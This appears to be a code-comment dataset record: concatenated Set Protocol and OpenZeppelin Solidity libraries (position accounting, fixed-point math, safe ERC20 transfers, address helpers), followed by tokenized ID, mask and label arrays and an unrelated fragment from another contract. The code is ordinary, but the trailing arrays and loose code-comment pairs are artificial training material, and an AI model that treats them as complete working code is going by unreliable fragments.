passed in hash. Validates that the address is not empty */ function getAndValidateAdapterWithHash(bytes32 _integrationHash) internal view returns(address) { address adapter = controller.getIntegrationRegistry().getIntegrationAdapterWithHash( address(this), _integrationHash ); require(adapter != address(0), "Must be valid adapter"); return adapter; } /** * Gets the total fee for this module of the passed in index (fee % * quantity) */ function getModuleFee(uint256 _feeIndex, uint256 _quantity) internal view returns(uint256) { uint256 feePercentage = controller.getModuleFee(address(this), _feeIndex); return _quantity.preciseMul(feePercentage); } /** * Pays the _feeQuantity from the _setToken denominated in _token to the protocol fee recipient */ function payProtocolFeeFromSetToken(ISetToken _setToken, address _token, uint256 _feeQuantity) internal { if (_feeQuantity > 0) { _setToken.strictInvokeTransfer(_token, controller.feeRecipient(), _feeQuantity); } } /** * Returns true if the module is in process of initialization on the SetToken */ function isSetPendingInitialization(ISetToken _setToken) internal view returns(bool) { return _setToken.isPendingModule(address(this)); } /** * Returns true if the address is the SetToken's manager */ function isSetManager(ISetToken _setToken, address _toCheck) internal view returns(bool) { return _setToken.manager() == _toCheck; } /** * Returns true if SetToken must be enabled on the controller * and module is registered on the SetToken */ function isSetValidAndInitialized(ISetToken _setToken) internal view returns(bool) { return controller.isSet(address(_setToken)) && _setToken.isInitializedModule(address(this)); } /** * Hashes the string and returns a bytes32 value */ function getNameHash(string memory _name) internal pure returns(bytes32) { return keccak256(bytes(_name)); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; /** * @title Position * @author Set Protocol * * Collection of helper functions for handling and updating SetToken Positions * * CHANGELOG: * - Updated editExternalPosition to work when no external position is associated with module */ library Position { using SafeCast for uint256; using SafeMath for uint256; using SafeCast for int256; using SignedSafeMath for int256; using PreciseUnitMath for uint256; /* ============ Helper ============ */ /** * Returns whether the SetToken has a default position for a given component (if the real unit is > 0) */ function hasDefaultPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) > 0; } /** * Returns whether the SetToken has an external position for a given component (if # of position modules is > 0) */ function hasExternalPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getExternalPositionModules(_component).length > 0; } /** * Returns whether the SetToken component default position real unit is greater than or equal to units passed in. */ function hasSufficientDefaultUnits(ISetToken _setToken, address _component, uint256 _unit) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256(); } /** * Returns whether the SetToken component external position is greater than or equal to the real units passed in. */ function hasSufficientExternalUnits( ISetToken _setToken, address _component, address _positionModule, uint256 _unit ) internal view returns(bool) { return _setToken.getExternalPositionRealUnit(_component, _positionModule) >= _unit.toInt256(); } /** * If the position does not exist, create a new Position and add to the SetToken. If it already exists, * then set the position units. If the new units is 0, remove the position. Handles adding/removing of * components where needed (in light of potential external positions). * * @param _setToken Address of SetToken being modified * @param _component Address of the component * @param _newUnit Quantity of Position units - must be >= 0 */ function editDefaultPosition(ISetToken _setToken, address _component, uint256 _newUnit) internal { bool isPositionFound = hasDefaultPosition(_setToken, _component); if (!isPositionFound && _newUnit > 0) { // If there is no Default Position and no External Modules, then component does not exist if (!hasExternalPosition(_setToken, _component)) { _setToken.addComponent(_component); } } else if (isPositionFound && _newUnit == 0) { // If there is a Default Position and no external positions, remove the component if (!hasExternalPosition(_setToken, _component)) { _setToken.removeComponent(_component); } } _setToken.editDefaultPositionUnit(_component, _newUnit.toInt256()); } /** * Update an external position and remove and external positions or components if necessary. The logic flows as follows: * 1) If component is not already added then add component and external position. * 2) If component is added but no existing external position using the passed module exists then add the external position. * 3) If the existing position is being added to then just update the unit and data * 4) If the position is being closed and no other external positions or default positions are associated with the component * then untrack the component and remove external position. * 5) If the position is being closed and other existing positions still exist for the component then just remove the * external position. * * @param _setToken SetToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function editExternalPosition( ISetToken _setToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { if (_newUnit != 0) { if (!_setToken.isComponent(_component)) { _setToken.addComponent(_component); _setToken.addExternalPositionModule(_component, _module); } else if (!_setToken.isExternalPositionModule(_component, _module)) { _setToken.addExternalPositionModule(_component, _module); } _setToken.editExternalPositionUnit(_component, _module, _newUnit); _setToken.editExternalPositionData(_component, _module, _data); } else { require(_data.length == 0, "Passed data must be null"); // If no default or external position remaining then remove component from components array if (_setToken.getExternalPositionRealUnit(_component, _module) != 0) { address[] memory positionModules = _setToken.getExternalPositionModules(_component); if (_setToken.getDefaultPositionRealUnit(_component) == 0 && positionModules.length == 1) { require(positionModules[0] == _module, "External positions must be 0 to remove component"); _setToken.removeComponent(_component); } _setToken.removeExternalPositionModule(_component, _module); } } } /** * Get total notional amount of Default position * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _positionUnit Quantity of Position units * * @return Total notional amount of units */ function getDefaultTotalNotional(uint256 _setTokenSupply, uint256 _positionUnit) internal pure returns (uint256) { return _setTokenSupply.preciseMul(_positionUnit); } /** * Get position unit from total notional amount * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _totalNotional Total notional amount of component prior to * @return Default position unit */ function getDefaultPositionUnit(uint256 _setTokenSupply, uint256 _totalNotional) internal pure returns (uint256) { return _totalNotional.preciseDiv(_setTokenSupply); } /** * Get the total tracked balance - total supply * position unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @return Notional tracked balance */ function getDefaultTrackedBalance(ISetToken _setToken, address _component) internal view returns(uint256) { int256 positionUnit = _setToken.getDefaultPositionRealUnit(_component); return _setToken.totalSupply().preciseMul(positionUnit.toUint256()); } /** * Calculates the new default position unit and performs the edit with the new unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @param _setTotalSupply Current SetToken supply * @param _componentPreviousBalance Pre-action component balance * @return Current component balance * @return Previous position unit * @return New position unit */ function calculateAndEditDefaultPosition( ISetToken _setToken, address _component, uint256 _setTotalSupply, uint256 _componentPreviousBalance ) internal returns(uint256, uint256, uint256) { uint256 currentBalance = IERC20(_component).balanceOf(address(_setToken)); uint256 positionUnit = _setToken.getDefaultPositionRealUnit(_component).toUint256(); uint256 newTokenUnit; if (currentBalance > 0) { newTokenUnit = calculateDefaultEditPositionUnit( _setTotalSupply, _componentPreviousBalance, currentBalance, positionUnit ); } else { newTokenUnit = 0; } editDefaultPosition(_setToken, _component, newTokenUnit); return (currentBalance, positionUnit, newTokenUnit); } /** * Calculate the new position unit given total notional values pre and post executing an action that changes SetToken state * The intention is to make updates to the units without accidentally picking up airdropped assets as well. * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _preTotalNotional Total notional amount of component prior to executing action * @param _postTotalNotional Total notional amount of component after the executing action * @param _prePositionUnit Position unit of SetToken prior to executing action * @return New position unit */ function calculateDefaultEditPositionUnit( uint256 _setTokenSupply, uint256 _preTotalNotional, uint256 _postTotalNotional, uint256 _prePositionUnit ) internal pure returns (uint256) { // If pre action total notional amount is greater then subtract post action total notional and calculate new position units uint256 airdroppedAmount = _preTotalNotional.sub(_prePositionUnit.preciseMul(_setTokenSupply)); return _postTotalNotional.sub(airdroppedAmount).preciseDiv(_setTokenSupply); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. * * CHANGELOG: * - 9/21/20: Added safePower function */ library PreciseUnitMath { using SafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 constant internal PRECISE_UNIT = 10 ** 18; int256 constant internal PRECISE_UNIT_INT = 10 ** 18; // Max unsigned integer value uint256 constant internal MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 constant internal MAX_INT_256 = type(int256).max; int256 constant internal MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Cant divide by 0"); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "Cant divide by 0"); require(a != MIN_INT_256 || b != -1, "Invalid input"); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } /** * @dev Performs the power on a specified value, reverts on overflow. */ function safePower( uint256 a, uint256 pow ) internal pure returns (uint256) { require(a > 0, "Value must be positive"); uint256 result = 1; for (uint256 i = 0; i < pow; i++){ uint256 previousResult = result; // Using safemath multiplication prevents overflows result = previousResult.mul(a); } return result; } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IController } from "../../interfaces/IController.sol"; import { IIntegrationRegistry } from "../../interfaces/IIntegrationRegistry.sol"; import { IPriceOracle } from "../../interfaces/IPriceOracle.sol"; import { ISetValuer } from "../../interfaces/ISetValuer.sol"; /** * @title ResourceIdentifier * @author Set Protocol * * A collection of utility functions to fetch information related to Resource contracts in the system */ library ResourceIdentifier { // IntegrationRegistry will always be resource ID 0 in the system uint256 constant internal INTEGRATION_REGISTRY_RESOURCE_ID = 0; // PriceOracle will always be resource ID 1 in the system uint256 constant internal PRICE_ORACLE_RESOURCE_ID = 1; // SetValuer resource will always be resource ID 2 in the system uint256 constant internal SET_VALUER_RESOURCE_ID = 2; /* ============ Internal ============ */ /** * Gets the instance of integration registry stored on Controller. Note: IntegrationRegistry is stored as index 0 on * the Controller */ function getIntegrationRegistry(IController _controller) internal view returns (IIntegrationRegistry) { return IIntegrationRegistry(_controller.resourceId(INTEGRATION_REGISTRY_RESOURCE_ID)); } /** * Gets instance of price oracle on Controller. Note: PriceOracle is stored as index 1 on the Controller */ function getPriceOracle(IController _controller) internal view returns (IPriceOracle) { return IPriceOracle(_controller.resourceId(PRICE_ORACLE_RESOURCE_ID)); } /** * Gets the instance of Set valuer on Controller. Note: SetValuer is stored as index 2 on the Controller */ function getSetValuer(IController _controller) internal view returns (ISetValuer) { return ISetValuer(_controller.resourceId(SET_VALUER_RESOURCE_ID)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title ExplicitERC20 * @author Set Protocol * * Utility functions for ERC20 transfers that require the explicit amount to be transferred. */ library ExplicitERC20 { using SafeMath for uint256; /** * When given allowance, transfers a token from the "_from" to the "_to" of quantity "_quantity". * Ensures that the recipient has received the correct quantity (ie no fees taken on transfer) * * @param _token ERC20 token to approve * @param _from The account to transfer tokens from * @param _to The account to transfer tokens to * @param _quantity The quantity to transfer */ function transferFrom( IERC20 _token, address _from, address _to, uint256 _quantity ) internal { // Call specified ERC20 contract to transfer tokens (via proxy). if (_quantity > 0) { uint256 existingBalance = _token.balanceOf(_to); SafeERC20.safeTransferFrom( _token, _from, _to, _quantity ); uint256 newBalance = _token.balanceOf(_to); // Verify transfer quantity is reflected in balance require( newBalance == existingBalance.add(_quantity), "Invalid post transfer balance" ); } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title IModule * @author Set Protocol * * Interface for interacting with Modules. */ interface IModule { /** * Called by a SetToken to notify that this module was removed from the Set token. Any logic can be included * in case checks need to be made or state needs to be cleared. */ function removeModule() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IIntegrationRegistry { function addIntegration(address _module, string memory _id, address _wrapper) external; function getIntegrationAdapter(address _module, string memory _id) external view returns(address); function getIntegrationAdapterWithHash(address _module, bytes32 _id) external view returns(address); function isValidIntegration(address _module, string memory _id) external view returns(bool); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title IPriceOracle * @author Set Protocol * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function masterQuoteAsset() external view returns (address); }
* @dev Getter function since constants can't be read directly from libraries./
function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; }
91,345
[ 1, 8461, 445, 3241, 6810, 848, 1404, 506, 855, 5122, 628, 14732, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 31293, 2802, 1435, 2713, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 7071, 7266, 1090, 67, 15736, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x1A36c461a902E0bE4Ee334DF0817fb828a357358/sources/FairToken.sol
find the highest score
for(uint ctr3=0; ctr3<adMessages.length; ctr3++) {
17,183,636
[ 1, 4720, 326, 9742, 4462, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
